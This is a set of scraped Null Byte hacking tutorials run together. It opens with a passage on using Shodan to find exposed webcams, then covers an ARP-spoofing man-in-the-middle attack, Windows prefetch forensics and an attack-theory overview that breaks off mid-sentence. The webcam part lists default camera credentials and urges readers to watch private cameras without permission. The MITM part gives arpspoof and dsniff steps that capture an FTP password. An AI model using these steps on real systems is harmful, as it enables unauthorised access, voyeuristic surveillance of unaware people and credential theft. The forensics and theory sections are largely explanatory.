208.83.██.205 9206 ████████████.joann.com HTTP/1.1 704 t\r\nServer: webcam
XP\r\n\r\n
115.135.██.185 8086
HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 2192\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 06:49:20 GMT\r\nExpires: Wed, 07 Aug 2019 06:49:20 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n
137.118.███.107 8080 137-118-███-███.wilkes.net
HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 2073\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 12:37:54 GMT\r\nExpires: Wed, 07 Aug 2019 12:37:54 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n
218.161.██.██ 8080 218-161-██-██.HINET-IP.hinet.net
HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 7431\r\nCache-control: no-cache, must revalidate\r\nDate: Mon, 05 Aug 2019 18:39:52 GMT\r\nExpires: Mon, 05 Aug 2019 18:39:52 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n
...
92.78.██.███ 37215 ███-092-078-███-███.███.███.pools.vodafone-ip.de
HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 8163\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 05:17:22 GMT\r\nExpires: Wed, 07 Aug 2019 05:17:22 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n
85.157.██.███ 8080 ████████.netikka.fi
HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 7947\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 00:25:41 GMT\r\nExpires: Wed, 07 Aug 2019 00:25:41 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n
108.48.███.███ 8080 ████-108-48-███-███.washdc.fios.verizon.net
HTTP/1.1 401 Unauthorized\r\nConnection: close\r\nContent-Length: 339\r\nCache-control: no-cache, must revalidate\r\nDate: Tue, 06 Aug 2019 22:40:21 GMT\r\nExpires: Tue, 06 Aug 2019 22:17:21 GMT\r\nPragma: no-cache\r\nServer: webcamXP\r\nWWW-Authenticate: Basic realm="webcamXP"\r\nContent-Type: text/html\r\n\r\n
(END)To exit results, hitQon your keyboard. If you only want to see certain fields instead of everything, there are ways to omit some information. First, let's see how the syntax works by viewing the help page for search.~$ shodan search -h
Usage: shodan search [OPTIONS] <search query>
Search the Shodan database
Options:
--color / --no-color
--fields TEXT List of properties to show in the search results.
--limit INTEGER The number of search results that should be returned.
Maximum: 1000
--separator TEXT The separator between the properties of the search
results.
-h, --help Show this message and exit.Unfortunately, the help page does not list all of the available fields you can search, but Shodan's websitehas a handy list, seen below.Properties:
asn [String] The autonomous system number (ex. "AS4837").
data [String] Contains the banner information for the service.
ip [Integer] The IP address of the host as an integer.
ip_str [String] The IP address of the host as a string.
ipv6 [String] The IPv6 address of the host as a string. If this is present then the "ip" and "ip_str" fields wont be.
port [Integer] The port number that the service is operating on.
timestamp [String] The timestamp for when the banner was fetched from the device in the UTC timezone. Example: "2014-01-15T05:49:56.283713"
hostnames [String[]] An array of strings containing all of the hostnames that have been assigned to the IP address for this device.
domains [String[]] An array of strings containing the top-level domains for the hostnames of the device. This is a utility property in case you want to filter by TLD instead of subdomain. It is smart enough to handle global TLDs with several dots in the domain (ex. "co.uk")
location [Object] An object containing all of the location information for the device.
location.area_code [Integer]The area code for the device's location. Only available for the US.
location.city [String] The name of the city where the device is located.
location.country_code [String] The 2-letter country code for the device location.
location.country_code3 [String] The 3-letter country code for the device location.
location.country_name [String] The name of the country where the device is located.
location.dma_code [Integer] The designated market area code for the area where the device is located. Only available for the US.
location.latitude [Double] The latitude for the geolocation of the device.
location.longitude [Double] The longitude for the geolocation of the device.
location.postal_code [String] The postal code for the device's location.
location.region_code [String] The name of the region where the device is located.
opts [Object] Contains experimental and supplemental data for the service. This can include the SSL certificate, robots.txt and other raw information that hasn't yet been formalized into the Banner Specification.
org [String] The name of the organization that is assigned the IP space for this device.
isp [String] The ISP that is providing the organization with the IP space for this device. Consider this the "parent" of the organization in terms of IP ownership.
os [String] The operating system that powers the device.
transport [String] Either "udp" or "tcp" to indicate which IP transport protocol was used to fetch the information
Optional Properties:
uptime [Integer] The number of minutes that the device has been online.
link [String] The network link type. Possible values are: "Ethernet or modem", "generic tunnel or VPN", "DSL", "IPIP or SIT", "SLIP", "IPSec or GRE", "VLAN", "jumbo Ethernet", "Google", "GIF", "PPTP", "loopback", "AX.25 radio modem".
title [String] The title of the website as extracted from the HTML source.
html [String] The raw HTML source for the website.
product [String] The name of the product that generated the banner.
version [String] The version of the product that generated the banner.
devicetype [String] The type of device (webcam, router, etc.).
info [String] Miscellaneous information that was extracted about the product.
cpe [String] The relevant Common Platform Enumeration for the product or known vulnerabilities if available. For more information on CPE and the official dictionary of values visit the CPE Dictionary.
SSL Properties:
If the service uses SSL, such as HTTPS, then the banner will also contain a property called "ssl":
ssl.cert [Object] The parsed certificate properties that includes information such as when it was issued, the SSL extensions, the issuer, subject etc.
ssl.cipher [Object] Preferred cipher for the SSL connection
ssl.chain [Array] An array of certificates, where each string is a PEM-encoded SSL certificate. This includes the user SSL certificate up to its root certificate.
ssl.dhparams [Object] The Diffie-Hellman parameters if available: "prime", "public_key", "bits", "generator" and an optional "fingerprint" if we know which program generated these parameters.
ssl.versions [Array] A list of SSL versions that are supported by the server. If a version isnt supported the value is prefixed with a "-". Example: ["TLSv1", "-SSLv2"] means that the server supports TLSv1 but doesnt support SSLv2.So, if we wanted to only view the IP address, port number, organization name, and hostnames for the IP address, we could use--fieldsas such:~$ shodan search --fields ip_str,port,org,hostnames webcamxp
81.133.███.███ 8080 BT ████81-133-███-███.in-addr.btopenworld.com
74.218.███.██ 8080 Spectrum Business ████-74-218-███-██.se.biz.rr.com
208.83.██.███ 9206 Jo-ann Stores, LLC ████████████.joann.com
115.135.██.███ 8086 TM Net
137.118.███.███ 8080 Wilkes Communications 137-118-███-███.wilkes.net
218.161.██.██ 8080 HiNet 218-161-██-██.HINET-IP.hinet.net
...
92.78.██.███ 37215 Vodafone DSL ███-092-078-███-███.███.███.pools.vodafone-ip.de
85.157.██.███ 8080 Elisa Oyj ████████.netikka.fi
108.48.███.███ 8080 Verizon Fios ████-108-48-███-███.washdc.fios.verizon.net
(END)Look through the results and find webcams you want to try out. Input their domain name into a browser and see if you get instant access. Here is an array of open webcams from various hotels in Palafrugell, Spain, that I was able to access without any login credentials:Although it can be fun and exciting to voyeuristically watch what's going on in front of these unprotected security cameras, unbeknownst to people around the world, you probably want to be more specific in your search for webcams.Try Default Username & PasswordsAlthough some of the webcams Shodan shows you are unprotected, many of them will require authentication. To attempt to gain access without too much effort, try the default username and password for the security camera hardware or software. I have compiled a short list of the default username and passwords of some of the most widely used webcams below.ACTi:admin/123456orAdmin/123456Axis (traditional):root/pass,Axis (new): requires password creation during first loginCisco: No default password, requires creation during first loginGrandstream:admin/adminIQinVision:root/systemMobotix:admin/meinsmPanasonic:admin/12345Samsung Electronics:root/rootoradmin/4321Samsung Techwin (old):admin/1111111Samsung Techwin (new):admin/4321Sony:admin/adminTRENDnet:admin/adminToshiba:root/ikwdVivotek:root/<blank>WebcamXP:admin/ <blank>There is no guarantee that any of those will work, but many inattentive and lazy administrators simply leave the default settings in place. In those cases, the default usernames and passwords for the hardware or software will give you access to confidential and private webcams around the world.Step 4: Search for Webcams by GeographyNow that we know how to find webcams and potentially log in to them using default usernames and passwords, let's get more specific and try to find webcams in a specific geographical location. For example, if we were interested in webcams by the manufacturer WebcamXP in Australia, we could find them by typingwebcamxp country:AUinto the search box on Shodan's website.So how would we do an advanced search in the command line? Here's a quick list of some of the things you can search for in Shodan via the command line:after: Search by a timeframe delimiter for things after a certain date.
asn: Search by the autonomous system number.
before: Search by a timeframe delimiter for things before a certain date.
city: Search by the city where the device is located.
country: Search by the country where the device is located (two-letter code).
device: Search by the device or network's name.
devicetype: Search by the type of device (webcam, router, etc.).
domain: Search an array of strings containing the top-level domains for the hostnames of the device.
geo: Search by the coordinates where the device is located.
hash: Search by the banner hash.
has_screenshot:true Search for devices where a screenshot is present.
hostname: Search by the hostname that has been assigned to the IP address for the device.
ip: Search by the IP address of the host as an integer.
ip_str: Search by the IP address of the host as a string.
ipv6: Search by the IPv6 address of the host as a string.
isp: Search by the ISP that is providing the organization with the IP space for the device.
link: Search by the network link type. Possible values are: "Ethernet or modem", "generic tunnel or VPN", "DSL", "IPIP or SIT", "SLIP", "IPSec or GRE", "VLAN", "jumbo Ethernet", "Google", "GIF", "PPTP", "loopback", "AX.25 radio modem".
net: Filter by network range or IP in CIDR notation.
port: Find devices based on the open ports/ software.
org: Search for devices that are on a specific organization’s network.
os: Search by the operating system that powers the device.
state: Search by the state where the device is located (two-letter code).
title: Search by text within the title of the website as extracted from the HTML source.So if we were to searchwebcamxp country:AUon the website directly, to do it from the command line, you would format as one of the ways below. However, if you're not on a paid plan, you can't use the Shodan API to perform detailed searches like we are trying to here. But you can still perform an advanced search on Shodan's website, with the regular restrictions for free users.~$ shodan search webcamxp country:AU
~$ shodan search device:webcamxp country:AUOn the website, searching forwebcamxp country:AUwill pull up a list of every WebcamXP in Australia that is web-enabled in Shodan's index, as shown below.Step 5: Narrow Your Search for Webcams to a CityTo be even more specific, we can narrow our search down to an individual city. Let's see what we can find in Sydney, Australia, by typingwebcamxp city:sydneyinto the website's search bar. For the command line, it would look like one of the following commands — but it's a paid-only feature with the API.~$ shodan search webcamxp city:sydney
~$ shodan search device:webcamxp city:sydneyOn the Shodan website, the search yields the results below.When we click on one of these links, we find ourselves in someone's backyard in Sydney, Australia!Step 6: Find Webcams by Longitude & LatitudeShodan even enables us to be very specific in searching for web-enabled devices. In some cases, we can specify the longitude and latitude of the devices we want to find.In this case, we will be looking for WebcamXP cameras at the longitude and latitude (-37.81, 144.96) of the city of Melbourne, Australia. When we search, we get a list of every WebcamXP at those coordinates on the globe. We must use the keywordgeofollowed by the longitude and latitude. So in the search bar, usewebcamxp geo: -37.81,144.96. On the command line interface, again, which is a paid feature, it'd look like one of these:~$ shodan search webcamxp geo:-37.81,144.96
~$ shodan search device:webcamxp geo:-37.81,144.96When we get that specific, on Shodan's website, it only finds four WebcamXP cameras. Click on one, and we can find that once again, we have a private webcam view of someone's camera in their backyard in Melbourne, Australia.Step 7: Shodan from the Command LineSomething we can do from the command-line interface that we can't from the website is search for information on a host. For instance, we can run theshodan myipcommand to print our external IP.~$ shodan myip
174.███.██.███Once we know it, we can search Shodan for information by running thehostcommand.~$ shodan host 174.███.██.███
174.███.██.███
Hostnames: cpe-174-███-██-███.socal.res.rr.com
Country: United States
Organization: Spectrum
Updated: 2019-08-02T23:04:59.182949
Number of open ports: 1
Ports:
80/tcpShodan Is a Powerful Way to Discover Devices Across the NetI hope this short demonstration of the power Shodan gets your imagination stimulated for inventive ways you can find private webcams anywhere on the globe! If you're too impatient to hunt down webcams on Shodan, you can use a website likeInsecamto view accessible webcams you can watch right now. For instance, you canview all the WebcamXP camerasthat have pictures.Whether you use Shodan or an easier site such as Insecam to view webcams, don't limit yourself to WebcamXP, but instead try each of the webcam manufacturers at a specific location, and who knows what you will find.I hope you enjoyed this guide to using Shodan to discover vulnerable devices. If you have any questions about this tutorial on using Shodan or have a comment, ask below or feel free to reach me on Twitter@KodyKinzie.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaVal Thoermer/Shutterstock; Screenshots and GIF by Kody/Null ByteRelatedHack Like a Pro:How to Find Vulnerable Targets Using Shodan—The World's Most Dangerous Search EngineHack Like a Pro:How to Find Any Router's Web Interface Using ShodanThe Hacks of Mr. Robot:How to Use the Shodan API with Python to Automate Scans for Vulnerable DevicesNews:Hacking SCADAHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Hack Together a YouTube Playing Botnet Using ChromecastsHow To:Make Your Own Photo Snow GlobeHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Find webcams from across the world with TekzillaHow To:Find Passwords in Exposed Log Files with Google DorksHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHow To:Turn Your Smartphone into a Wireless Webcam with These 5 AppsHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHow To:The FBI Can Spy on Your Webcam Undetected: Here's How to Stop ThemHow To:Hack a Cheap Floating Globe into a Levitating Imperial Death Star!News:Russell Crotty's Astronomical Paper GlobesInstagram Challenge:Globe's GlowNews:Pentagon prepares re-education camps for political activistsNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxHow To:Make Icosahedral Planet OrnamentsNews:Bayman's CottageLockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:Finding the Exploits Out in the World (For Beginner Hackers)Self-Portrait Challenge:Phil... Just PhilNews:Around the world in 80 daysNews:Cometbus (Punk Zines, Vol. 1)News:Art and Tech Googles Earth (Android's open source power)Movie Quiz:Crazy Heart - FishingGlobe:UNGU (AKA Trippy Surf Short)Anonymous Browsing in a Click:Add a Tor Toggle Button to Chrome |
Hack Like a Pro: How to Conduct a Simple Man-in-the-Middle Attack « Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!Many of you have probably heard of a man-in-the-middle attack and wondered how difficult an attack like that would be. For those of you who've never heard of one, it's simply where we, the hacker, place ourselves between the victim and the server and send and receive all the communication between the two.It should be totally transparent to both the client and the server with neither suspecting they're connected to anything or anyone but who they expect. This allows us to see and read all of the communication (passwords, confidential information, etc.), as well as alter it, if need be.In this "Hack Like a Pro" tutorial, I'll show you a very simple way to conduct a MitM attack and capture unencrypted traffic.The Art of SniffingBefore we embark on a MitM attack, we need to address a few concepts. First, sniffing is the act of grabbing all of the traffic that passes you over the wired or wireless communication. There are a number of tools that will enable you to do this. Most famously,Wireshark, but also tcpdump, dsniff, and a handful of others.Enter Promiscuous ModeIn order to see and grab traffic other than your own, you need to first put your NIC orwireless adapterintopromiscuous mode(called monitor mode in wireless), meaning that it will pick up ALL traffic, not just that intended for your MAC/IP address. In wireless and wired networks with hubs, this can be accomplished relatively easily. In a switched environment, we need to be a bit more creative.Switches & SpoofingSwitches are designed to reduce network traffic and congestion by isolating traffic and only sending packets to a particular IP address or MAC address that's the destination, unlike hubs that send all traffic to all NICs. This means that my NIC only sees traffic intended for it, if the switch is doing its job. This makes it harder, but not impossible to sniff and thereby conduct a MiTM attack.To defeat the switches task of isolating network traffic, a number of strategies have been attempted. On older switches, you could flood them with ARPs and the switch would flood and fail open. These means that it would begin to act like a hub, sending all the traffic to all the NICs, enabling the hacker to sniff other people's traffic.This strategy no longer works on modern switches and even on the older ones, a vigilant network admin is going to notice the change in network traffic and volume.In order for switches to "know" where to send traffic, they maintain a CAM table that essentially maps IP addresses to MAC addresses. This table says that when traffic is intended for IP address 192.168.1.101, for instance, send that traffic to MAC address 11:22:33:44:EE:FF (example MAC address).If we can change the entries in that table, we can successfully get someone else's traffic. This is called ARP spoofing, because the entries in the CAM table come from ARPs that are sent out by the switch to gather this information from the NIC.ARP Spoofing for a MitM AttackWhat we will be doing here, is usingARP spoofingto place ourselves between two machines making the client believe we are the server and the server believe we are the client. With this, we can then send all the traffic through our computer and sniff every packet that goes in either direction.Hope all that makes sense! Let's get started with our MitM attack by opening upBackTrack!Step 1: Open Three TerminalsTo conduct this MitM attack, we're going to need three (3) terminals, so go ahead and open those now. Our goal here is to get a client on our network to believe we are the server and the server to believe we are the client.arpspoofcan do this for us by replacing the MAC address of the client and the server with our MAC address in the ARP table.Step 2: Arpspoof Client to ServerLet's start with the client. We want to replace the MAC address of the server with our MAC address.arpspoof 192.168.1.101 192.168.1.105Where:192.168.1.101is the IP of the client192.168.1.105is the IP of the serverIn this step, we're telling the client that we are the server.Step 3: Arpspoof Server to ClientNow we want to replace the MAC address of the client with our address, so we simply reverse the order of the IP addresses in the previous command.arpspoof 192.168.1.105 192.168.1.101Here, we are telling the server that we are the client.Now execute both of these commands. When we do this, the client will think we are the server and the server will think we are the client!Step 4: Pass Packets with IpforwardNow that we are impersonating both the client and server, we need to be able to pass or forward the packets to the other machine. In other words, we want the packets coming from the server to be forwarded to the client and those coming from the client forwarded to the server.We do this in Linux by using theip_forward. Linux has a built-in functionality to forward packets it receives. By default, it's turned off, but we can turn it on by changing its value to 1(ON).We simply echo a 1 and direct (>) it to /proc/sys/net/ipv4/ip_forward, thereby turning on ipforwarding.echo 1 > /proc/sys/net/ipv4/ip_forwardImage viawonderhowto.comNow our system, in the middle, is forwarding the traffic it receives to both ends of this connection, client and server.Step 5: Sniff the Traffic with DsniffNow that we have all the traffic coming from the client to the server and the server to the client going through our computer, we can sniff and see all the traffic!To do this, we could use a number of different sniffing tools, including Wireshark or tcpdump, but in this case we'll use Dug Song'sdsniff. Song designed dsniff to sniff out authentication information that appears on the wire in clear text (non-encrypted). So, protocols such as ftp, telnet, HTTP, SNMP, POP, LDAP, etc. can be sniffed off the wire.To activate dsniff, we simply type:dsniffImage viawonderhowto.comAs we can see, dsniff responds that it is listening on eth0.Step 6: Grab the FTP CredentialsNow, let's wait until the client logs into the ftp server. When he does so, dsniff will grab his credentials and display them to us.Image viawonderhowto.comAs you see in the screenshot above, dsniff has grabbed the ftp credentials of the administrator with the password of "password"! How easy was that!It's important to note that users and administrators often use that same username and password on all services and systems. Now that we have the admin's ftp password, the next step is to try to log in with it.In my next MitM tutorial, I'll show you how to sniff encrypted credentials off the wire, so keep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Simple Man-in-the-Middle Script: For Script KiddiesHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyNews:Malware Targets Mac Users Through Well-Played Phishing AttackHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:Hello to the Null Byte Community!News:U.S. Justice Department Indicts Iranian HackersBecome an Elite Hacker, Part 2:Spoofing Cookies to Hack Facebook SessionsHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Add a Battery Meter & System Stats to the Information Stream on Your Galaxy S6 EdgeHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)How To:Hack LAN passwords with EttercapHacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Draw VegetaHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use Trapcode plugins in Final Cut ProHow To:Build a Man-in-the-Middle Tool with Scapy and PythonHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHow To:Inject Payload into Softwares via HTTPHow To:Install iLok plug-ins for Pro Tools 8 in Mac OS XNews:Obama and Congress Approve Resolution that Supports UN Internet TakeoverNews:Day 2 Of Our New WorldVaccine bombshell:Baby monkeys develop autism after routine CDC vaccinationsNews:Afghan shooting raises questions about US course in countryNews:Indie and Mainstream Online Games Shut Down by LulzSecKick Ass Review Part 2:Gameplay and DesignNews:Afghan Slayings act of retaliation?News:Fantasia 2000 (2000)Shark Survival:Guide to Getting Out Alive |
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files) « Null Byte :: WonderHowTo | Welcome back, my aspiring hackers!Inthis series, we continue to examine digital forensics, both to develop your skills as a forensic investigator and to avoid the pitfalls of being tracked by a forensic investigator.In earlier posts inthis series, we examinedregistry filesand what they can tell us about what the user was doing when their computer was seized. Windows has another type of file system that can also reveal a treasure trove of information about the user before the machine was seized for examination—the prefetch files.Prefetch SystemObviously, Microsoft did not implement the prefetch system for forensic analysis, but rather to improve the performance of Windows. The prefetch system does what its name implies—it prefetches files that the system anticipates the user will need and loads them into memory making the "fetch" of the files faster and more efficient. It's a type of artificial intelligence that attempts to anticipate what you will need next and gets it ready for you.The beauty of the prefetch system in Windows is that it can reveal much information about what the user was doing even if they are smart enough to try to cover their tracks. Prefetch has been part of the Windows operating system since Windows XP and 2003 (those are the same build), and it is enabled by default throughWindows 10. On the server side, Windows Server 2003, 2008, and 2012, application prefetch much be enabled in the registry.These prefetch files contain metadata about the files used. This metadata includes information such as the last date the application was used, where the application files were stored, how many times the application was used, and several other pieces of useful information to the forensic investigator. This can be critical information in trying to prove that a suspect actually used an application that was involved in the crime, such as the browser or document creation software such as Word, even if it has been removed from the system.Location of PreFetch FilesYou can find the prefetch files underC:\ windows\prefetch. Here is an example of the prefetch files from a Windows 7 system (still the most widely used OS in the world).As you can see, in this\windows\prefetchdirectory, we can see all of the prefetch files. These are the files ending in.pf, but we can also see database files (.DB) as well. For now, let's focus on the.pffiles.In the first group of circled files seen above, you can see the prefetch files for bothcalc.exeandcmd.exe. In the next column, we can see the last date they were modified, which usually means the data those applications were last used.In the second highlighted area, we can see the prefetch file for the "DEVICEPAIRINGWIZARD" executable. Note that it was last used on 12/15/2015. This is the Wizard used for Bluetooth pairing. You might imagine a scenario where a suspect might have claimed that they had never used, nor knew how to use, Bluetooth paring that was used in the crime. This file would clearly argue against such a claim in court.Analyzing PrefetchAlthough we can get some basic information by simply viewing the prefetch files, we need to parse the file to get all the information it contains. There are numerous programs capable of parsing these files and all of them work pretty well, but Nirsoft's freeWinPrefetchViewis about the easiest to use with a nice, intuitive GUI (most of the forensic suites such as EnCase, FTK, and Oxygen are also capable of prefetch parsing). You can download it in either32-bitor64-bit.Simply download and install it, then run it. It will grab all the prefetch files and parse them like below.Let's take a look at that Bluetooth Device Pairing Wizard. I have circled it in the screenshot above. We can see where the path to the.exeis, the number of times it has been run, and the last time it was run. This could all be critical information in a forensic investigation. Also note in the lower pane that it lists every file used by the program with a path to the files.If we click on the "Last Run Time" tab to sort by time, we can recreate a timeline of events that took place on that system.Disabling Prefetch & SuperfetchIf the suspect were really digitally savvy, they coulddisable prefetch. They could also disable, or stop, superfetch, which was introduced with Windows Vista and works similarly to prefetch except that it preloads applications based upon your usage patterns. To disable or stop it, go to Computer Management, select Services on the left, then double-click on Superfetch and choose the wanted option.Keep coming back, my aspiring hackers, as we continue to explore digital forensics to enlighten you into the inner workings of our operating systems and keep you safe!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)News:Why YOU Should Study Digital ForensicsHow To:Become a Computer Forensics Pro with This $29 TrainingSPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 3 (Recovering Deleted Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)News:Airline Offers Frequent Flyer Miles to HackersNews:What to Expect from Null Byte in 2015Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Goodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking Simulations |
Advanced System Attacks - Total Guide « Null Byte :: WonderHowTo | Good day people, today we will examine some basic, for some people well-known attacks, also we will take a look at some advanced attacks.At the beginning I must stress that this article is not technical - in other words if you wanna hands-on exercise, this is not article for you, base of this article is theory.Nature of an attack that targets information system is often intensional,we will leave aside non-intensional attacks, in other words we don't care about personel who works for an company and writes bad code because of poor knowledge, that can cause damage.Spoofing- diving in discusion with basics,Spoofingrepresents imperonation in digital worlds, an attacker will use informations that is glued to an victim to imperonate him/her, it's worth of stressing some information that is valuable for attacker in this type of attack.MAC - Media Access Control is a physical address of your NIC(Network Interface Card), composed of 48bit's or 12hex. In the theory MAC is unique(I don't believe in this because it's to short for this plannet).In the networking, MAC is used on the layer2 of OSI model to identify particular host in the specific network. From the angle of an attacker, if I can use your(Spoof) MAC address, I'm you in the digital world.MAC Spoofingis often used in wireless environmets, where MAC filter is present, an attacker in such way can capture data from allowed source to the WAP, and then spoof that address.IP - Internet Protocol address is used on layer3 OSI referent model to uniquely identify host on the particular subnet,IP Spoofingcan be valuable in theSmurf Attack, we will examine this in detail soon.DoS, DDoS-DoS or Denial of serviceis an attack in which attackers tryes to prevent some sort of service to work properly, some characteristics on the victims side are higly utilization of resources that can cause damage, or simple crash, often this is higly-abnormal amount of network traffic on the NIC, or higly utilization of CPU.One more characteristeic ofDosis that only one attacker will attack the victim.DDoSorDistributed Denial of servicehas same characteristics, but it's more powerfull because more than one attacker wil attack victims system or network..Smurf Attackis type ofDDoSattack that combines impersonating technique of digital world, orSpoofingwith strange crafted packets.On regular basis, ICMP echo - ping message is uniqast, or one-to-one. In this example an attacker spoofs IP address of victim, and sends out ICMP echo - ping broadcast that is one-to-anyone. Everyone will respond to that ICMP echo - ping request to the victims address(Because attacker used address of the victim), that can cause abnormal amount of ICMP traffic on the victims NIC. It's worth stressing that in 70% of serious attack target is a server, so if we have ability to prevent server from connecting to the network, servers essential roles can't do their job.Syn Floodthis type of attack is very common used against servers on the internet, most of us know how TCP protocol works, but as a reminder, TCP uses three way handshke to establish connection between client and server.Client wants to establish connection and he send SYN packet to serv.Server creates place for particular session in memory and informs client with SYN/ACK packet.Client fully establishes connection with ACK packet.In the scenario of the attack, attacker sends SYN, server responds with SYN/ACK, but attacker never finishes negotiation, server still holds in memory open session, if attacker sends enough SYN packets to the server, all session would be reserverd, that prevents regular clients from connecting, in other words, there is no available service for them, clear example ofDenial of service.Man-in-the-middleattack represents ability of attacker to passivevly eavesdrop communication between two hosts(host can be any device on the network), hosts are not aware of 3rd person. For example imagine that Alice and Bob sends to each other some information, if Homer can catch-eavesdrop that traffic, this is classicMITMattack.1.Alice sends to Bob packetHomer catch that packet and reads itHomer forwards that packet to BobBob don't have idea that Homer is included in communicationARP Poisoningrepresents good example ofMITMattack. ARP protocol is used for resolving from one IP(Layer3) address to MAC(Layer2) address. In the local subnet, much of all communication is done on the Layer2. ARP don't have any inteligence, in other words, every host have an ARP table, where is IP of the host tagged to the his MAC address, from the angle of attacker, if I say to your system, hey this is my MAC 